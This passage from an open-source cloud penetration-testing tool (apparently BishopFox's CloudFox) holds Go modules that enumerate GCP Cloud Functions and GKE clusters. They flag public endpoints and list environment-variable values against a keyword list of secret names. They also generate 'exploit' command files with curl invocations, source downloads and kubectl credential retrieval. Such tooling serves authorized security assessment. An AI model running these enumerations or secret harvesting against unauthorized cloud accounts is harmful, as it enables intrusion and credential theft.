cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_FUNCTIONS_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &FunctionsModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectFunctions: make(map[string][]FunctionsService.FunctionInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *FunctionsModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// Try to get FoxMapper cache (preferred - graph-based analysis)
|
||||
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
logger.InfoM("Using FoxMapper graph data for attack path analysis", globals.GCP_FUNCTIONS_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_FUNCTIONS_MODULE_NAME, m.processProject)
|
||||
|
||||
// Get all functions for stats
|
||||
allFunctions := m.getAllFunctions()
|
||||
if len(allFunctions) == 0 {
|
||||
logger.InfoM("No Cloud Functions found", globals.GCP_FUNCTIONS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count public functions
|
||||
publicCount := 0
|
||||
for _, fn := range allFunctions {
|
||||
if fn.IsPublic {
|
||||
publicCount++
|
||||
}
|
||||
}
|
||||
|
||||
if publicCount > 0 {
|
||||
logger.SuccessM(fmt.Sprintf("Found %d function(s), %d PUBLIC", len(allFunctions), publicCount), globals.GCP_FUNCTIONS_MODULE_NAME)
|
||||
} else {
|
||||
logger.SuccessM(fmt.Sprintf("Found %d function(s)", len(allFunctions)), globals.GCP_FUNCTIONS_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// getAllFunctions returns all functions from all projects (for statistics)
|
||||
func (m *FunctionsModule) getAllFunctions() []FunctionsService.FunctionInfo {
|
||||
var all []FunctionsService.FunctionInfo
|
||||
for _, functions := range m.ProjectFunctions {
|
||||
all = append(all, functions...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor
|
||||
// ------------------------------
|
||||
func (m *FunctionsModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating Cloud Functions in project: %s", projectID), globals.GCP_FUNCTIONS_MODULE_NAME)
|
||||
}
|
||||
|
||||
fs := FunctionsService.New()
|
||||
functions, err := fs.Functions(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_FUNCTIONS_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate functions in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
// Thread-safe store per-project
|
||||
m.mu.Lock()
|
||||
m.ProjectFunctions[projectID] = functions
|
||||
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["functions-commands"] = &internal.LootFile{
|
||||
Name: "functions-commands",
|
||||
Contents: "# GCP Cloud Functions Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
m.LootMap[projectID]["functions-secrets"] = &internal.LootFile{
|
||||
Name: "functions-secrets",
|
||||
Contents: "# Cloud Functions Secret References\n# Generated by CloudFox\n# Secrets used by functions (names only)\n\n",
|
||||
}
|
||||
}
|
||||
|
||||
for _, fn := range functions {
|
||||
m.addFunctionToLoot(projectID, fn)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Found %d function(s) in project %s", len(functions), projectID), globals.GCP_FUNCTIONS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
func (m *FunctionsModule) addFunctionToLoot(projectID string, fn FunctionsService.FunctionInfo) {
|
||||
commandsLoot := m.LootMap[projectID]["functions-commands"]
|
||||
secretsLoot := m.LootMap[projectID]["functions-secrets"]
|
||||
|
||||
if commandsLoot == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// All commands for this function
|
||||
commandsLoot.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# FUNCTION: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s, Region: %s\n"+
|
||||
"# Runtime: %s, Trigger: %s\n"+
|
||||
"# Service Account: %s\n"+
|
||||
"# Public: %v, Ingress: %s\n",
|
||||
fn.Name,
|
||||
fn.ProjectID, fn.Region,
|
||||
fn.Runtime, fn.TriggerType,
|
||||
fn.ServiceAccount,
|
||||
fn.IsPublic, fn.IngressSettings,
|
||||
)
|
||||
|
||||
if fn.TriggerURL != "" {
|
||||
commandsLoot.Contents += fmt.Sprintf("# URL: %s\n", fn.TriggerURL)
|
||||
}
|
||||
|
||||
if fn.SourceLocation != "" {
|
||||
commandsLoot.Contents += fmt.Sprintf("# Source: %s (%s)\n", fn.SourceLocation, fn.SourceType)
|
||||
}
|
||||
|
||||
commandsLoot.Contents += fmt.Sprintf(
|
||||
"\n# === ENUMERATION COMMANDS ===\n\n"+
|
||||
"# Describe function:\n"+
|
||||
"gcloud functions describe %s --region=%s --project=%s --gen2\n"+
|
||||
"# Get IAM policy:\n"+
|
||||
"gcloud functions get-iam-policy %s --region=%s --project=%s --gen2\n"+
|
||||
"# Read logs:\n"+
|
||||
"gcloud functions logs read %s --region=%s --project=%s --gen2 --limit=50\n",
|
||||
fn.Name, fn.Region, fn.ProjectID,
|
||||
fn.Name, fn.Region, fn.ProjectID,
|
||||
fn.Name, fn.Region, fn.ProjectID,
|
||||
)
|
||||
|
||||
// HTTP invocation commands
|
||||
commandsLoot.Contents += "\n# === EXPLOIT COMMANDS ===\n\n"
|
||||
if fn.TriggerType == "HTTP" && fn.TriggerURL != "" {
|
||||
commandsLoot.Contents += fmt.Sprintf(
|
||||
"# Invoke (GET):\n"+
|
||||
"curl -s '%s'\n"+
|
||||
"# Invoke (POST with auth):\n"+
|
||||
"curl -s -X POST '%s' \\\n"+
|
||||
" -H 'Authorization: Bearer $(gcloud auth print-identity-token)' \\\n"+
|
||||
" -H 'Content-Type: application/json' \\\n"+
|
||||
" -d '{\"test\": \"data\"}'\n",
|
||||
fn.TriggerURL,
|
||||
fn.TriggerURL,
|
||||
)
|
||||
}
|
||||
|
||||
// Source download command
|
||||
if fn.SourceType == "GCS" && fn.SourceLocation != "" {
|
||||
commandsLoot.Contents += fmt.Sprintf(
|
||||
"# Download source:\n"+
|
||||
"gsutil cp %s ./function-source-%s.zip\n",
|
||||
fn.SourceLocation, fn.Name,
|
||||
)
|
||||
}
|
||||
|
||||
commandsLoot.Contents += "\n"
|
||||
|
||||
// Secret references
|
||||
if (len(fn.SecretEnvVarNames) > 0 || len(fn.SecretVolumeNames) > 0) && secretsLoot != nil {
|
||||
secretsLoot.Contents += fmt.Sprintf(
|
||||
"## Function: %s (Project: %s)\n",
|
||||
fn.Name, fn.ProjectID,
|
||||
)
|
||||
if len(fn.SecretEnvVarNames) > 0 {
|
||||
secretsLoot.Contents += "## Secret Environment Variables:\n"
|
||||
for _, secretName := range fn.SecretEnvVarNames {
|
||||
secretsLoot.Contents += fmt.Sprintf("## - %s\n", secretName)
|
||||
}
|
||||
}
|
||||
if len(fn.SecretVolumeNames) > 0 {
|
||||
secretsLoot.Contents += "## Secret Volumes:\n"
|
||||
for _, volName := range fn.SecretVolumeNames {
|
||||
secretsLoot.Contents += fmt.Sprintf("## - %s\n", volName)
|
||||
}
|
||||
}
|
||||
secretsLoot.Contents += "\n"
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *FunctionsModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
// Decide between hierarchical and flat output
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
// writeHierarchicalOutput writes output to per-project directories
|
||||
func (m *FunctionsModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
// Build hierarchical output data
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Build project-level outputs
|
||||
for projectID, functions := range m.ProjectFunctions {
|
||||
tables := m.buildTablesForProject(projectID, functions)
|
||||
|
||||
// Collect loot for this project
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !isEmptyLootFile(loot.Contents) {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = FunctionsOutput{Table: tables, Loot: lootFiles}
|
||||
}
|
||||
|
||||
// Create path builder using the module's hierarchy
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
// Write using hierarchical output
|
||||
err := internal.HandleHierarchicalOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
pathBuilder,
|
||||
outputData,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_FUNCTIONS_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
// writeFlatOutput writes all output to a single directory (legacy mode)
|
||||
func (m *FunctionsModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allFunctions := m.getAllFunctions()
|
||||
tables := m.buildTablesForProject("", allFunctions)
|
||||
|
||||
// Collect all loot files
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !isEmptyLootFile(loot.Contents) {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := FunctionsOutput{
|
||||
Table: tables,
|
||||
Loot: lootFiles,
|
||||
}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project",
|
||||
m.ProjectIDs,
|
||||
scopeNames,
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_FUNCTIONS_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
// isEmptyLootFile checks if a loot file contains only the header
|
||||
func isEmptyLootFile(contents string) bool {
|
||||
return strings.HasSuffix(contents, "# WARNING: Only use with proper authorization\n\n") ||
|
||||
strings.HasSuffix(contents, "# Secrets used by functions (names only)\n\n") ||
|
||||
strings.HasSuffix(contents, "# Generated by CloudFox\n\n")
|
||||
}
|
||||
|
||||
// buildTablesForProject builds all tables for a given project's functions
|
||||
func (m *FunctionsModule) buildTablesForProject(projectID string, functions []FunctionsService.FunctionInfo) []internal.TableFile {
|
||||
tableFiles := []internal.TableFile{}
|
||||
|
||||
// Main functions table
|
||||
body := m.functionsToTableBody(functions)
|
||||
if len(body) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: globals.GCP_FUNCTIONS_MODULE_NAME,
|
||||
Header: m.getTableHeader(),
|
||||
Body: body,
|
||||
})
|
||||
}
|
||||
|
||||
// Secrets table (env vars and secret refs - matching Cloud Run format)
|
||||
secretsHeader := []string{
|
||||
"Project", "Name", "Region", "Env Var", "Value/Type", "Source", "Sensitive",
|
||||
}
|
||||
|
||||
var secretsBody [][]string
|
||||
for _, fn := range functions {
|
||||
// Add environment variables from EnvVars (has actual values)
|
||||
for _, env := range fn.EnvVars {
|
||||
sensitive := isFunctionSensitiveEnvVar(env.Name)
|
||||
if env.Source == "direct" {
|
||||
secretsBody = append(secretsBody, []string{
|
||||
m.GetProjectName(fn.ProjectID),
|
||||
fn.Name,
|
||||
fn.Region,
|
||||
env.Name,
|
||||
env.Value,
|
||||
"EnvVar",
|
||||
sensitive,
|
||||
})
|
||||
} else {
|
||||
// Secret Manager reference
|
||||
secretsBody = append(secretsBody, []string{
|
||||
m.GetProjectName(fn.ProjectID),
|
||||
fn.Name,
|
||||
fn.Region,
|
||||
env.Name,
|
||||
fmt.Sprintf("%s:%s", env.SecretName, env.SecretVersion),
|
||||
"SecretManager",
|
||||
"Yes",
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Add secret volumes
|
||||
for _, volName := range fn.SecretVolumeNames {
|
||||
secretsBody = append(secretsBody, []string{
|
||||
m.GetProjectName(fn.ProjectID),
|
||||
fn.Name,
|
||||
fn.Region,
|
||||
volName + " (volume)",
|
||||
volName,
|
||||
"SecretManager",
|
||||
"Yes",
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
if len(secretsBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: globals.GCP_FUNCTIONS_MODULE_NAME + "-secrets",
|
||||
Header: secretsHeader,
|
||||
Body: secretsBody,
|
||||
})
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
// isFunctionSensitiveEnvVar checks if an environment variable name indicates sensitive data
|
||||
func isFunctionSensitiveEnvVar(envName string) string {
|
||||
envNameUpper := strings.ToUpper(envName)
|
||||
sensitivePatterns := []string{
|
||||
"PASSWORD", "PASSWD", "SECRET", "API_KEY", "APIKEY", "API-KEY",
|
||||
"TOKEN", "ACCESS_TOKEN", "AUTH_TOKEN", "BEARER", "CREDENTIAL",
|
||||
"PRIVATE_KEY", "PRIVATEKEY", "CONNECTION_STRING", "CONN_STR",
|
||||
"DATABASE_URL", "DB_PASSWORD", "DB_PASS", "MYSQL_PASSWORD",
|
||||
"POSTGRES_PASSWORD", "REDIS_PASSWORD", "MONGODB_URI",
|
||||
"AWS_ACCESS_KEY", "AWS_SECRET", "AZURE_KEY", "GCP_KEY",
|
||||
"ENCRYPTION_KEY", "SIGNING_KEY", "JWT_SECRET", "SESSION_SECRET",
|
||||
"OAUTH", "CLIENT_SECRET",
|
||||
}
|
||||
for _, pattern := range sensitivePatterns {
|
||||
if strings.Contains(envNameUpper, pattern) {
|
||||
return "Yes"
|
||||
}
|
||||
}
|
||||
return "No"
|
||||
}
|
||||
|
||||
// getTableHeader returns the functions table header
|
||||
func (m *FunctionsModule) getTableHeader() []string {
|
||||
return []string{
|
||||
"Project",
|
||||
"Name",
|
||||
"Region",
|
||||
"Runtime",
|
||||
"State",
|
||||
"Trigger",
|
||||
"URL",
|
||||
"Ingress",
|
||||
"Public",
|
||||
"Service Account",
|
||||
"SA Attack Paths",
|
||||
"Default SA",
|
||||
"VPC Access",
|
||||
"IAM Binding Role",
|
||||
"IAM Binding Principal",
|
||||
}
|
||||
}
|
||||
|
||||
// functionsToTableBody converts functions to table body rows
|
||||
func (m *FunctionsModule) functionsToTableBody(functions []FunctionsService.FunctionInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, fn := range functions {
|
||||
// Format trigger info
|
||||
triggerInfo := fn.TriggerType
|
||||
if fn.TriggerEventType != "" {
|
||||
triggerInfo = fmt.Sprintf("%s (%s)", fn.TriggerType, extractFunctionName(fn.TriggerEventType))
|
||||
}
|
||||
|
||||
// Format URL
|
||||
url := "-"
|
||||
if fn.TriggerURL != "" {
|
||||
url = fn.TriggerURL
|
||||
}
|
||||
|
||||
// Format state
|
||||
state := fn.State
|
||||
if state == "" {
|
||||
state = "-"
|
||||
}
|
||||
|
||||
// Format VPC access (renamed from VPC Connector for consistency with Cloud Run)
|
||||
vpcAccess := "-"
|
||||
if fn.VPCConnector != "" {
|
||||
vpcAccess = extractFunctionName(fn.VPCConnector)
|
||||
if fn.VPCEgressSettings != "" {
|
||||
vpcAccess += fmt.Sprintf(" (%s)", strings.TrimPrefix(fn.VPCEgressSettings, "VPC_EGRESS_"))
|
||||
}
|
||||
}
|
||||
|
||||
// Format service account
|
||||
serviceAccount := fn.ServiceAccount
|
||||
if serviceAccount == "" {
|
||||
serviceAccount = "-"
|
||||
}
|
||||
|
||||
// Check if using default service account
|
||||
defaultSA := "No"
|
||||
if strings.Contains(serviceAccount, "@appspot.gserviceaccount.com") ||
|
||||
strings.Contains(serviceAccount, "[email protected]") {
|
||||
defaultSA = "Yes"
|
||||
}
|
||||
|
||||
// Check attack paths (privesc/exfil/lateral) for the service account
|
||||
attackPaths := "run foxmapper"
|
||||
if serviceAccount != "-" {
|
||||
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, serviceAccount)
|
||||
} else if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
attackPaths = "No SA"
|
||||
}
|
||||
|
||||
// Format ingress for display (consistent with Cloud Run)
|
||||
ingress := formatFunctionIngress(fn.IngressSettings)
|
||||
|
||||
// If function has IAM bindings, create one row per binding (shows IAM Binding Role/Principal)
|
||||
if len(fn.IAMBindings) > 0 {
|
||||
for _, binding := range fn.IAMBindings {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(fn.ProjectID),
|
||||
fn.Name,
|
||||
fn.Region,
|
||||
fn.Runtime,
|
||||
state,
|
||||
triggerInfo,
|
||||
url,
|
||||
ingress,
|
||||
shared.BoolToYesNo(fn.IsPublic),
|
||||
serviceAccount,
|
||||
attackPaths,
|
||||
defaultSA,
|
||||
vpcAccess,
|
||||
binding.Role,
|
||||
binding.Member,
|
||||
})
|
||||
}
|
||||
} else {
|
||||
// Function has no IAM bindings - single row
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(fn.ProjectID),
|
||||
fn.Name,
|
||||
fn.Region,
|
||||
fn.Runtime,
|
||||
state,
|
||||
triggerInfo,
|
||||
url,
|
||||
ingress,
|
||||
shared.BoolToYesNo(fn.IsPublic),
|
||||
serviceAccount,
|
||||
attackPaths,
|
||||
defaultSA,
|
||||
vpcAccess,
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// formatFunctionIngress formats ingress settings for display (consistent with Cloud Run)
|
||||
func formatFunctionIngress(ingress string) string {
|
||||
switch ingress {
|
||||
case "ALLOW_ALL":
|
||||
return "ALL (Public)"
|
||||
case "ALLOW_INTERNAL_ONLY":
|
||||
return "INTERNAL"
|
||||
case "ALLOW_INTERNAL_AND_GCLB":
|
||||
return "INT+LB"
|
||||
default:
|
||||
return ingress
|
||||
}
|
||||
}
|
||||
|
||||
// extractFunctionName extracts just the name from a resource path
|
||||
func extractFunctionName(fullName string) string {
|
||||
parts := strings.Split(fullName, "/")
|
||||
if len(parts) > 0 {
|
||||
return parts[len(parts)-1]
|
||||
}
|
||||
return fullName
|
||||
}
|
||||
Executable
+482
@@ -0,0 +1,482 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
|
||||
GKEService "github.com/BishopFox/cloudfox/gcp/services/gkeService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPGKECommand = &cobra.Command{
|
||||
Use: globals.GCP_GKE_MODULE_NAME,
|
||||
Aliases: []string{"kubernetes", "k8s", "clusters"},
|
||||
Short: "Enumerate GKE clusters with security analysis",
|
||||
Long: `Enumerate GKE clusters across projects with comprehensive security analysis.
|
||||
|
||||
Features:
|
||||
- Lists all GKE clusters accessible to the authenticated user
|
||||
- Analyzes security configuration (private clusters, authorized networks, RBAC)
|
||||
- Identifies clusters with public API endpoints
|
||||
- Shows workload identity configuration
|
||||
- Detects common misconfigurations (legacy ABAC, basic auth, no network policy)
|
||||
- Enumerates node pools with service accounts and OAuth scopes
|
||||
- Shows Binary Authorization status
|
||||
- Shows GKE Autopilot vs Standard mode
|
||||
- Shows Config Connector and Istio/ASM status
|
||||
- Shows maintenance window and exclusions
|
||||
- Generates kubectl and gcloud commands for further analysis
|
||||
|
||||
Security Columns:
|
||||
- Private: Whether the cluster uses private nodes (no public IPs)
|
||||
- MasterAuth: Master authorized networks enabled
|
||||
- NetworkPolicy: Kubernetes network policy controller enabled
|
||||
- WorkloadIdentity: GKE Workload Identity configured
|
||||
- ShieldedNodes: Shielded GKE nodes enabled
|
||||
- BinAuth: Binary Authorization enabled
|
||||
- Autopilot: GKE Autopilot mode (vs Standard)
|
||||
- Issues: Detected security misconfigurations
|
||||
|
||||
Attack Surface:
|
||||
- Public API servers are accessible from the internet
|
||||
- Clusters without Workload Identity use node service accounts
|
||||
- Default service accounts may have excessive permissions
|
||||
- Legacy ABAC allows broader access than RBAC
|
||||
- Autopilot clusters have reduced attack surface
|
||||
- Binary Authorization prevents untrusted container images
|
||||
|
||||
TIP: Run 'workload-identity' to enumerate K8s SA -> GCP SA bindings and Workload Identity Federation (external identity pools/providers).`,
|
||||
Run: runGCPGKECommand,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Struct
|
||||
// ------------------------------
|
||||
type GKEModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
// Module-specific fields - per-project for hierarchical output
|
||||
ProjectClusters map[string][]GKEService.ClusterInfo // projectID -> clusters
|
||||
ProjectNodePools map[string][]GKEService.NodePoolInfo // projectID -> node pools
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper graph data (preferred)
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Struct
|
||||
// ------------------------------
|
||||
type GKEOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o GKEOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o GKEOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPGKECommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_GKE_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &GKEModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectClusters: make(map[string][]GKEService.ClusterInfo),
|
||||
ProjectNodePools: make(map[string][]GKEService.NodePoolInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *GKEModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// Try to get FoxMapper cache (preferred - graph-based analysis)
|
||||
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
logger.InfoM("Using FoxMapper graph data for attack path analysis", globals.GCP_GKE_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_GKE_MODULE_NAME, m.processProject)
|
||||
|
||||
// Get all clusters for stats
|
||||
allClusters := m.getAllClusters()
|
||||
allNodePools := m.getAllNodePools()
|
||||
if len(allClusters) == 0 {
|
||||
logger.InfoM("No GKE clusters found", globals.GCP_GKE_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count public clusters
|
||||
publicCount := 0
|
||||
for _, cluster := range allClusters {
|
||||
if !cluster.PrivateCluster && !cluster.MasterAuthorizedOnly {
|
||||
publicCount++
|
||||
}
|
||||
}
|
||||
|
||||
msg := fmt.Sprintf("Found %d cluster(s), %d node pool(s)", len(allClusters), len(allNodePools))
|
||||
if publicCount > 0 {
|
||||
msg += fmt.Sprintf(" [%d with public API endpoint]", publicCount)
|
||||
}
|
||||
logger.SuccessM(msg, globals.GCP_GKE_MODULE_NAME)
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// getAllClusters returns all clusters from all projects (for statistics)
|
||||
func (m *GKEModule) getAllClusters() []GKEService.ClusterInfo {
|
||||
var all []GKEService.ClusterInfo
|
||||
for _, clusters := range m.ProjectClusters {
|
||||
all = append(all, clusters...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllNodePools returns all node pools from all projects (for statistics)
|
||||
func (m *GKEModule) getAllNodePools() []GKEService.NodePoolInfo {
|
||||
var all []GKEService.NodePoolInfo
|
||||
for _, nodePools := range m.ProjectNodePools {
|
||||
all = append(all, nodePools...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor
|
||||
// ------------------------------
|
||||
func (m *GKEModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating GKE clusters in project: %s", projectID), globals.GCP_GKE_MODULE_NAME)
|
||||
}
|
||||
|
||||
gs := GKEService.New()
|
||||
clusters, nodePools, err := gs.Clusters(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_GKE_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate GKE clusters in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
// Thread-safe store per-project
|
||||
m.mu.Lock()
|
||||
m.ProjectClusters[projectID] = clusters
|
||||
m.ProjectNodePools[projectID] = nodePools
|
||||
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["gke-commands"] = &internal.LootFile{
|
||||
Name: "gke-commands",
|
||||
Contents: "# GKE Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
|
||||
for _, cluster := range clusters {
|
||||
m.addClusterToLoot(projectID, cluster)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Found %d cluster(s) in project %s", len(clusters), projectID), globals.GCP_GKE_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
func (m *GKEModule) addClusterToLoot(projectID string, cluster GKEService.ClusterInfo) {
|
||||
lootFile := m.LootMap[projectID]["gke-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# CLUSTER: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s, Location: %s\n\n"+
|
||||
"# === ENUMERATION COMMANDS ===\n\n"+
|
||||
"# Get detailed cluster configuration and settings\n"+
|
||||
"gcloud container clusters describe %s --location=%s --project=%s\n\n"+
|
||||
"# Configure kubectl to authenticate to this cluster\n"+
|
||||
"gcloud container clusters get-credentials %s --location=%s --project=%s\n\n"+
|
||||
"# List all node pools in this cluster\n"+
|
||||
"gcloud container node-pools list --cluster=%s --location=%s --project=%s\n\n"+
|
||||
"# kubectl commands (after getting credentials):\n\n"+
|
||||
"# Show cluster endpoint and services info\n"+
|
||||
"kubectl cluster-info\n\n"+
|
||||
"# List all nodes with additional details (IP, OS, runtime)\n"+
|
||||
"kubectl get nodes -o wide\n\n"+
|
||||
"# List all namespaces in the cluster\n"+
|
||||
"kubectl get namespaces\n\n"+
|
||||
"# === EXPLOIT COMMANDS ===\n\n"+
|
||||
"# Check what actions you can perform in the cluster\n"+
|
||||
"kubectl auth can-i --list\n\n",
|
||||
cluster.Name,
|
||||
cluster.ProjectID, cluster.Location,
|
||||
cluster.Name, cluster.Location, cluster.ProjectID,
|
||||
cluster.Name, cluster.Location, cluster.ProjectID,
|
||||
cluster.Name, cluster.Location, cluster.ProjectID,
|
||||
)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *GKEModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
